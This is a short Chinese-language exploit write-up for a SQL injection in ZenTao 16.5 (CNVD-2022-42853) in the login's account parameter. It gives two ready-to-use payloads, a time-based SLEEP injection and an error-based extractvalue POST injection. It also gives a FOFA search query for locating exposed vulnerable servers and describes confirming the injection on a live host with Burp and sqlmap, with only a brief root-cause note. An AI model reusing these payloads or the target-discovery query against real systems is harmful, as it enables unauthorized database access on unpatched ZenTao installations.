漏洞描述
禅道16.5的版本未对输入的account参数内容作过滤校验,导致攻击者拼接恶意SQL语句执行。
漏洞编号:CNVD-2022-42853
禅道(ZenTaoPMS)受影响版本:
开源版:16.5,16.5beta1
企业版:6.5,6.5beta1
旗舰版:3.0,3.0beta1
POC:
这里有两种,但核心内容相同
第一种
延时POC:
http://ip:port/index.php?account=admin' AND (SELECT 1337 FROM (SELECT(SLEEP(5)))a)-- b
第二种
payload:
url: /zentao/user-login.html
POST: account=admin'+and+(select+extractvalue(1,concat(0x7e,(MD5(110)),0x7e)))#
实战
下面对开源版本进行示例
FoFo搜索
body="/js/all.js?v=16.5"
判断依据如下
如上所示,很明显,开源版本16.5,没问题
示例一
延时注入成功,这里我使用的是burp联动sqlmap插件,方便快捷
剩下的不做演示
示例二
示例地址不变
或者用burp,效果差不多,可以看一下
这里就不继续了
简要说明
就是对禅道16.5 版本的用户名登陆处存在sql注入,漏洞点出现在以上版本的
zbox\app\zentao\framework\base\router.class.php文件里,具体函数为setVision()
该函数未对外界传入的account参数做过滤直接拼接SQL语句,触发SQL注入漏洞
可以参考大佬的说明:https://github.com/ce-automne/CNVD-2022-42853